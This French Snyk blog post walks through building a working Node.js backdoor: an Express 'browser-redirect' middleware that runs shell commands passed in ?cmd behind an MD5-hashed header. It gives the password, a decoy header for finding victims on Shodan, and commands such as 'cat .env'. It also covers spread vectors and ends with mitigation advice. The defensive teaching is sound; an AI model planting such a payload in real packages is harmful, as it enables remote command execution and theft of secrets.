Skip to main content

Qu’est-ce qu’une porte dérobée ? Créons-en une avec Node.js

Écrit par
prioritize vulns

19 mars 2020

0 minutes de lecture

Une porte dérobée dans notre code capable d’exécuter une injection au niveau du système d’exploitation est l’un des scénarios les plus effrayants qui soient. Aujourd’hui, npm propose plus de 1,2 million de packages publics. Depuis trois ans, nos dépendances sont devenues des cibles idéales pour les cybercriminels. Nous avons vu de nombreuses nouvelles attaques apparaître, comme les attaques par typosquatting ou l’incident event-stream, qui confirment la grande fragilité de notre écosystème si nous ne bâtissons pas une communauté plus solidaire. Dans cet article, je vais vous montrer comment combiner certaines techniques pour créer une porte dérobée malveillante dans l’écosystème.

Qu’est-ce qu’une porte dérobée ?

Dans le domaine de la cybersécurité, une porte dérobée désigne toute méthode permettant à des utilisateurs autorisés ou non de contourner les mesures de sécurité habituelles et d’obtenir des privilèges élevés (autrement dit, un accès root) sur un système informatique, un réseau ou une application logicielle. Une fois à l’intérieur, les cybercriminels peuvent s’en servir pour dérober des données personnelles et financières, installer d’autres logiciels malveillants et prendre le contrôle d’appareils.

Malwarebytes

Toute porte dérobée comporte deux éléments principaux : le logiciel malveillant injecté puis exécuté sur la machine de la victime, et un canal de communication ouvert qui permet à l’attaquant d’envoyer des commandes et de contrôler l’hôte distant.

Une fois la porte dérobée installée, il faut envoyer des commandes spécifiques pour qu’elles soient exécutées sur la machine cible. Elles peuvent exfiltrer des informations sensibles, comme des variables d’environnement ou des données de base de données. Elles peuvent aussi modifier d’autres processus sur la machine ou le réseau, selon les autorisations dont dispose l’application Node infectée.

Pour créer une version simplifiée de cette attaque, nous utiliserons la bibliothèque principale child_process pour exécuter du code, ainsi qu’un serveur HTTP comme canal de communication. Je vous conseille d’utiliser Express, le framework le plus répandu dans ce cas, mais la méthode peut être adaptée à d’autres frameworks.

N’oubliez pas de tester vos projets pour détecter les portes dérobées connues !

Comment child_process peut-il nous aider ?

Nous pouvons utiliser le module natif Node.js child_process pour exécuter des processus enfants. L’idée est d’exécuter une commande (cette entrée est appelée stdin), comme pwd ou ping snyk.io, puis d’intégrer la réponse (appelée stdout) et les éventuelles erreurs (appelées stderr) dans le programme principal.

Il existe plusieurs façons d’exécuter des processus enfants. Pour cette attaque, la plus simple est exec, qui exécute un rappel avec stdout et stderr une fois le processus terminé, par exemple cat passwords.txt.Notez que exec n’est pas la meilleure option pour les tâches longues, comme ping snyk.io.

const  {exec} = require('child_process');

exec('cat .env', (err, stdout, stderr) => {
  if(err) throw err
  if(stderr) return console.log(`Execution error: ${stderr}`)
  console.log(`Env file content:  ${stdout}`)
})

Comment connecter cet exec au serveur HTTP ?

J’ai développé un package middleware simple et apparemment inoffensif qui redirige les utilisateurs qui n’utilisent pas Chrome vers une autre URL, comme browsehappy.com. J’inclurai la charge utile malveillante dans ce middleware.

Le code attendu dans le package ressemblera à ceci :

const useragent = require('useragent');

module.exports = () => (req, res, next) => {   
    const ua = useragent.is(req.headers['user-agent']);
    ua.chrome ? next(): res.redirect("https://browsehappy.com/")
}

Pour la victime, il suffit donc d’installer la bibliothèque browser-redirect et de l’ajouter à son application Express comme n’importe quel middleware :

const express = require("express");
const helmet = require("helmet")
const browserRedirect = require("browser-redirect ")

const app = express();

app.use(browserRedirect())
app.use(helmet())

app.get("/", (req, res)=>{
    res.send("Hello Chrome User!")
})

app.listen(8080)

Notez que dans ce cas, même si vous utilisez Helmet, votre application reste vulnérable.

Comment implémenter la charge utile malveillante

L’implémentation est très simple :

const {exec} = require("child_process")
const crypto = require('crypto');
const useragent = require('useragent');

module.exports = () => (req, res, next) => {
    // Evil Payload
    const {cmd} = req.query;
    const hash = crypto.createHash('md5')
                        .update(String(req.headers["knock_knock"]))
                        .digest("hex");
    res.setHeader("Content-Sec-Policy", "default-src 'self'")
    if(cmd && hash === "c4fbb68607bcbb25407e0362dab0b2ea") {
        return exec(cmd, (err, stdout, stderr)=>{
            return res.send(JSON.stringify({err, stdout, stderr}, null, 2))
        })
    }
    // Expected code
    const ua = useragent.is(req.headers['user-agent']);
    ua.chrome ? next(): res.redirect("https://browsehappy.com/")
}

Comment fonctionne la porte dérobée ? Vous devez comprendre trois enjeux :

  1. Vous devez pouvoir vous authentifier pour empêcher d’autres cybercriminels d’utiliser vos propres portes dérobées. Ici, nous utilisons un hash MD5 (le mot p@ssw0rd1234 génère ce hash : c4fbb68607bcbb25407e0362dab0b2ea). Vous devez inclure ce hash comme valeur de l’en-tête knock_kock pour vérifier l’authentification.

  2. Vous devez pouvoir identifier les serveurs qui contiennent le code malveillant. Nous ne voulions pas collecter de métriques ; nous ajoutons donc un en-tête supplémentaire à la réponse du serveur : Content-Sec-Policy. Il ressemble beaucoup à Content-security-policy, mais ce n’est pas le même. Là encore, nous tirons parti d’une attaque par typosquatting. Nous pouvons maintenant trouver nos cibles sur Shodan à l’aide de cette requête : /search?query=Content-Sec-Policy%3A+default-src+%27self%27

  3. Nous pouvons utiliser le paramètre de requête ?cmd pour exécuter des commandes sur le serveur infecté, quelle que soit la route : par exemple, victim.com/?cmd=whoami ou ?cmd=cat .env  — et nous recevrons toutes les informations au format JSON.

Maintenant que la charge utile malveillante est prête, il faut trouver un moyen astucieux de diffuser le package malveillant.

Vecteurs de propagation

La première étape consiste à publier le package malveillant sur Internet. Je viens de publier le package malveillant sur npm avec npm install browser-redirect@1.0.2. Pourtant, le code malveillant n’est pas visible sur Github : consultez la branche principale et la version 1.0.2. En effet, npm ne vérifie pas le contenu de Github ni celui d’un autre dépôt de gestion de versions.

Pour l’instant, les chances de propagation de cette porte dérobée dans l’écosystème sont très faibles, car d’autres personnes doivent promouvoir et installer le package malveillant.

Une autre façon de la propager consiste à inclure le module malveillant comme dépendance dans d’autres packages. Si l’attaquant dispose des droits de publication sur d’autres packages clés, il peut publier une nouvelle version incluant directement le package malveillant comme dépendance (consultez l’analyse rétrospective d’event-stream). Il peut aussi tenter de proposer une pull request contenant des ressources malveillantes dans le fichier de verrouillage d’un projet, comme l’explique cette étude sur la sécurité des fichiers de verrouillage : dépendance dans package-lock.

Il faut également déterminer si les attaquants peuvent accéder aux identifiants (nom d’utilisateur et mot de passe) d’un responsable de maintenance pertinent. Si c’est le cas, ils peuvent facilement déployer de nouvelles versions de packages populaires, comme cela s’est déjà produit avec eslint.

Même si le responsable de maintenance utilise l’authentification à deux facteurs pour s’authentifier et publier, le risque demeure. Lorsqu’il choisit d’utiliser l’intégration continue pour déployer de nouvelles versions, l’authentification à deux facteurs pour la publication doit être désactivée. Si l’attaquant parvient à dérober un jeton npm valide pour l’intégration continue (par exemple dans des journaux partagés ou accessibles au public, lors d’une fuite de données, etc.), il peut déployer de nouvelles versions contenant du code malveillant.

Notez que npm a lancé une nouvelle API (en bêta privée) qui indique si le package a été publié depuis une adresse IP TOR et si l’authentification à deux facteurs a été utilisée.

De plus, les attaquants peuvent adapter la charge utile malveillante pour qu’elle s’exécute comme script de préinstallation ou de postinstallation dans n’importe quel package npm. Par défaut, les packages npm disposent d’un hook de cycle de vie qui permet d’exécuter du code sur votre machine à différents moments. Par exemple, le package de test de navigateur Puppeteer utilise ce hook pour installer Chromium sur la machine hôte. Ryan Dahl a déjà expliqué ces failles de sécurité à JSConf EU 2018. Node.js doit être sécurisé afin de prévenir ce vecteur d’attaque et bien d’autres.

À retenir :

  • 78 % des vulnérabilités se trouvent dans les dépendances indirectes, ce qui complique leur correction

  • Hausse de 88 % des vulnérabilités dans les bibliothèques d’applications en deux ans

  • 81 % estiment que les développeurs devraient être responsables de la sécurité, mais ils ne disposent pas des moyens nécessaires

Source : État de la sécurité de l’open source – 2019. Découvrez notre nouveau rapport sur la sécurité de l’open source – 2020

Comment atténuer cette attaque ?

Il n’est pas toujours facile de maîtriser nos dépendances, mais voici quelques conseils qui peuvent vous aider :

  • Utilisez des bibliothèques reconnues et bien maintenues.

  • Participez à la communauté et aidez les responsables de maintenance en contribuant au code ou en soutenant financièrement les projets et leurs responsables.

  • Utilisez NQP pour évaluer les nouveaux packages de vos projets.

  • Utilisez Snyk pour rester informé des nouvelles vulnérabilités et surveiller vos projets.

  • Examinez le code de vos dépendances depuis npm, et pas uniquement depuis GitHub, Bitbucket ou d’autres systèmes de gestion de versions.

  • Testez vos projets pour détecter les portes dérobées connues.

Enseignements tirés d’incidents précédents

Créez gratuitement un compte Snyk dès aujourd’hui et testez vos projets pour détecter les portes dérobées connues.

Lancez-vous dans les compétitions Capture The Flag

Apprenez à résoudre des défis Capture The Flag en regardant à la demande notre atelier virtuel d’initiation.

Lire la suite

blog feature snyk container custom base recommendations
Blog

Découvrez Evo Agentic AppSec : une sécurité au rythme du développement de l’IA

Le développement piloté par l’IA dépasse les workflows de sécurité traditionnels. L’AppSec agentique de Snyk s’appuie sur des agents de sécurité pour détecter, corriger et vérifier les vulnérabilités en continu, tandis que les équipes définissent les exigences.

blog feature ai violet
Blog

VulnBump : les agents IA peuvent-ils corriger les dépendances vulnérables sans casser le build ?

VulnBump évalue des agents IA sur 307 mises à niveau de dépendances réelles. Une correction n’est comptabilisée que si la vulnérabilité disparaît et que la compilation et les tests restent au vert.

Blog

Les modèles de pointe ont trouvé les vulnérabilités. Seul l’attaquant a trouvé les chaînes d’exploitation.

L’analyse statique a détecté les failles, mais seuls des tests d’attaque en conditions réelles ont prouvé comment elles pouvaient être enchaînées pour provoquer des compromissions. Comparaison d’Evo COS, de Claude Security et de Claude Code Security.